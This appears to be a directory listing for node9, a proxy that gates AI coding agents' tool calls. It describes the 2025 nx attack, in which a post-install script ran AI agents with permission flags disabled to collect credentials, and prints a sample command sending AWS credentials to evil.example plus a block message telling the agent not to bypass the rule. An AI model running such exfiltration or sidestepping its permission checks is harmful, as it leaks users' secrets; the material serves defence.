Power your agent
คำสั่งของผู้เผยแพร่เอง ไม่ใช่เอนด์พอยต์ของ PlugMCP
Host a copy with our keys and logs.
npx -y [email protected]Claude Code ไม่มีลิงก์ติดตั้งสำหรับคำสั่งแบบโลคัล ให้คัดลอกคำสั่งด้านล่างแล้วรันในเทอร์มินัล
claude mcp add node9-ai-node9-proxy -- npx -y node9-ai@2.61.1รันในเทอร์มินัล
{ "mcpServers": { "node9-ai-node9-proxy": { "command": "npx", "args": [ "-y", "[email protected]" ] } }}claude_desktop_config.json
URL แบบรีโมตหรือคำสั่งบนเครื่องของคุณ? การติดตั้งสองแบบต่างกันอย่างไร
รันบน PlugMCP
A new server you create. It is not this listing's official endpoint. Use the publisher install when you want their URL and their credentials.
เปิดจากผู้เผยแพร่
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
Access control for AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Then, in any project:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Requires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup <target> to configure one agent.
Once configured, bare node9 shows help. node9 init remains available; for
scripts use node9 init --recommended (no questions and no telemetry opt-in).
--skip-setup leaves agent wiring and service installation alone. Explicit
--mode takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
login adds nothing to enforcement. It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. node9 logout disconnects again and local enforcement
keeps running.
node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
Any MCP client works the same way: the command is npx -y node9-ai mcp-server
over stdio, with no API key. It is listed in the official MCP Registry as
io.github.node9-ai/node9.
In August 2025, compromised releases of the
nx build tool shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (--dangerously-skip-permissions, --yolo,
--trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws,
.env files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read
of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a
file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of
that file. node9 egress protect gates destinations as well, and it covers shell commands only.
Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count
(no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.
Background reading, written to stand on its own. Each page says what node9 does not cover.
uses: node9-ai/node9-proxy@v2, gates every PR with the same engine (it sends the same anonymous usage count; telemetry: false turns it off)node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.
Apache-2.0
Access control for AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.
{ "mcpServers": { "node9-ai-node9-proxy": { "command": "npx", "args": [ "-y", "[email protected]" ] } }}เครื่องมือ
ยังไม่มีรายการเครื่องมือ เซิร์ฟเวอร์แบบรีโมตจะได้รายการหลังการตรวจสอบสถานะครั้งแรก
FAQ
คัดลอกคอนฟิก stdio สำหรับ Cursor, Claude Desktop, Claude Code หรือ VS Code ได้ในหน้านี้ คอนฟิกนี้ใช้การติดตั้งของผู้เผยแพร่ ไม่ใช่พร็อกซีของ PlugMCP
ระเบียนนี้ไม่ได้ระบุตัวแปรสภาพแวดล้อมที่จำเป็น
Node9 Proxy ทำงานแบบโลคัลผ่าน stdio
ตรวจสอบล่าสุดเมื่อ 2026-10-27 Access control for AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.